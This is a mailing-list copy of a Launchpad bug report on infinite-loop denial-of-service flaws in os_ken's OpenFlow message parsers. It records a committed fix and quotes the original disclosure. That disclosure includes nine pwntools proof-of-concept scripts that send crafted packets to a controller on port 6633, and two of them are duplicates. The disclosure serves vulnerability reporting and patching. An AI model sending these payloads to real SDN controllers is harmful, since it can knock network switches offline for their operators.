← Back to team overview

yahoo-eng-team team mailing list archive

[Bug 2067973] Re: A series of infinite loop vulnerabilities in the os_ken

 

Reviewed:  https://review.opendev.org/c/openstack/os-ken/+/922622
Committed: https://opendev.org/openstack/os-ken/commit/2f30f44406535991ec982608d04c8893b8fda9ad
Submitter: "Zuul (22348)"
Branch:    master

commit 2f30f44406535991ec982608d04c8893b8fda9ad
Author: elajkat <lajos.katona@xxxxxxxx>
Date:   Thu Jun 6 12:34:03 2024 +0200

    Raise ValueError in case unpack_from returns zero length
    
    Closes-Bug: #2067973
    Closes-Bug: #2067970
    Change-Id: If3327be6c0a4c25173473fb8879d111544d77af5


** Changed in: neutron
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/2067973

Title:
  A series of infinite loop vulnerabilities in the os_ken

Status in DragonFlow:
  New
Status in neutron:
  Fix Released
Status in os-ryu:
  New
Status in OpenStack Security Advisory:
  Won't Fix
Status in python-os-ken package in Ubuntu:
  New

Bug description:
  Hello, We have recently discovered a series of infinite loop
  vulnerabilities in the component os_ken. Initially, our team found
  this issue in ryu and submitted several issues, but we realized that
  ryu has not been maintained for a long time. We later found out that
  the project is still being maintained and submitted this issue.

  We believe that this set of issues with os_ken as a component of the
  OpenFlow protocol could lead to a denial of service due to malicious
  attacks on controllers such as ryu and faucet, which are currently
  using the component, as well as other controllers based on the
  component.

  We believe that once the controller is attacked and enters a denial of
  service state, the switch will not function properly.

  Relevant details are given below:

  [1] OFPTableFeaturesStats parser

  ```python
          while rest:
              p, rest = OFPTableFeatureProp.parse(rest)
              props.append(p)
          table_features.properties = props
  ```
  The rest variable here is obtained through the following code:

  ```python
          (type_, length) = struct.unpack_from(cls._PACK_STR, buf, 0)
          rest = buf[utils.round_up(length, 8):]
  ```
  If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.

  poc:
  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [2] OFPHello parser

  ```python
  class OFPHello(MsgBase):
  ...
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
          msg = super(OFPHello, cls).parser(datapath, version, msg_type,
                                            msg_len, xid, buf)

          offset = ofproto.OFP_HELLO_HEADER_SIZE
          elems = []
          while offset < msg.msg_len:
              type_, length = struct.unpack_from(
                  ofproto.OFP_HELLO_ELEM_HEADER_PACK_STR, msg.buf, offset)
              ...
              offset += length
          msg.elements = elems
          return msg
  ```

  If the variable length is equal to 0,the offset will no longer change
  and the parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="04000010000000130001000000000010"
  payload=bytes.fromhex(payload)
  p.send(payload)
  p.interactive()
  ```

  [3] OFPBucket parser

  ```python
  class OFPBucket(StringifyMixin):
      @classmethod
      def parser(cls, buf, offset):
          (len_, weight, watch_port, watch_group) = struct.unpack_from(
              ofproto.OFP_BUCKET_PACK_STR, buf, offset)
          ....
          while length < msg.len:
              action = OFPAction.parser(buf, offset)
              msg.actions.append(action)
              offset += action.len
              length += action.len
  ```

  If action.len=0,the offset and length will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x0000\x28\x00\x00\x00\x00\x00\x00\x00\x20\x00\x01\xff\xff\xff\xffff\xff\xff\xff\x00\x00\x00\x00\x00\x19\x00\x00\x80\x00\x08\x0600\x00\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [4] OFPGroupDescStats parser

  ```python
  class OFPGroupDescStats(StringifyMixin):
      @classmethod
      def parser(cls, buf, offset):
      ....
          while length < stats.length:
              bucket = OFPBucket.parser(buf, offset)
              stats.buckets.append(bucket)

              offset += bucket.len
              length += bucket.len
  ```

  If OFPBucket.len=0,the offset and length will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
  brk+=b"\x00\x28\x00\x00"
  brk+=b"\x00\x00\x00\x00"
  bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
  brk+=bytes.fromhex(bucket)
  p.send(brk)
  p.interactive()
  ```

  [5] OFPFlowStats parser

  ```python
  class OFPFlowStats(StringifyMixin):
          while inst_length > 0:
              inst = OFPInstruction.parser(buf, offset)
              instructions.append(inst)
              offset += inst.len
              inst_length -= inst.len
  ```

  If inst.length =0,the offset will no longer change and the parsing
  will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload=b'\x04\x13\x010\x7f\xf9\xb1m\x00\x01\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06B,@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc:\xb8S\xf8\x80\x00\x06\x06\xce\x8f\xb2F\xcb[\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06\x05#@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00b\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2F\xcb[\x80\x00\x06\x06\xd2\xfc:\xb8S\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x058\x81U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04@\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'
  p.send(payload)
  p.interactive()
  ```

  [6] OFPMultipartReply parser

  ```python
  class OFPMultipartReply(MsgBase):
      _STATS_MSG_TYPES = {}
      ....
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
      ....
              while offset < msg_len:
                  b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
                  body.append(b)
                  offset += b.length if hasattr(b, 'length') else b.len
      ....
  ```

  If b.length =0,the offset will no longer change and the parsing will
  fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [7] OFPMultipartReply parser

  ```python
  class OFPMultipartReply(MsgBase):
      _STATS_MSG_TYPES = {}
      ....
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
      ....
              while offset < msg_len:
                  b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
                  body.append(b)
                  offset += b.length if hasattr(b, 'length') else b.len
      ....
  ```

  If b.length =0,the offset will no longer change and the parsing will
  fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [8] OFPFlowMod parser

  ```python
  class OFPFlowMod(MsgBase):
  ....
          while offset < msg_len:
              i = OFPInstruction.parser(buf, offset)
              instructions.append(i)
              offset += i.len
          msg.instructions = instructions
  ```

  If OFPInstruction.len=0 , the offset will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload=b"\x04\x0e\x00\x50\xd8\xbc\xde\xb7\x67\xf9\x0c\x3f\xfb\xa6\xdb\x87\x6f\x63\x34\xd0\xe1\x26\x43\x78\x5e\x01\x34\x0d\x32\xb4\xb3\xff\x8f\x99\xc0\xe9\x9e\x84\x70\x62\xc7\x4a\xbf\x01\xf3\xf0\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [9] OFPPacketQueue parser

  ```python
  class OFPPacketQueue(StringifyMixin):
  ....
      @classmethod
      def parser(cls, buf, offset):
      ....
          while length < len_:
              queue_prop = OFPQueueProp.parser(buf, offset)
              if queue_prop is not None:
                  properties.append(queue_prop)
                  offset += queue_prop.len
                  length += queue_prop.len
          o = cls(queue_id, port, properties)
          o.len = len_
          return o
  ```

  If OFPQueueProp.len=0,the offset and length will no longer change and
  the parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  Finally, I would like to ask if these vulnerabilities are able to get
  a corresponding CVE number?

To manage notifications about this bug go to:
https://bugs.launchpad.net/dragonflow/+bug/2067973/+subscriptions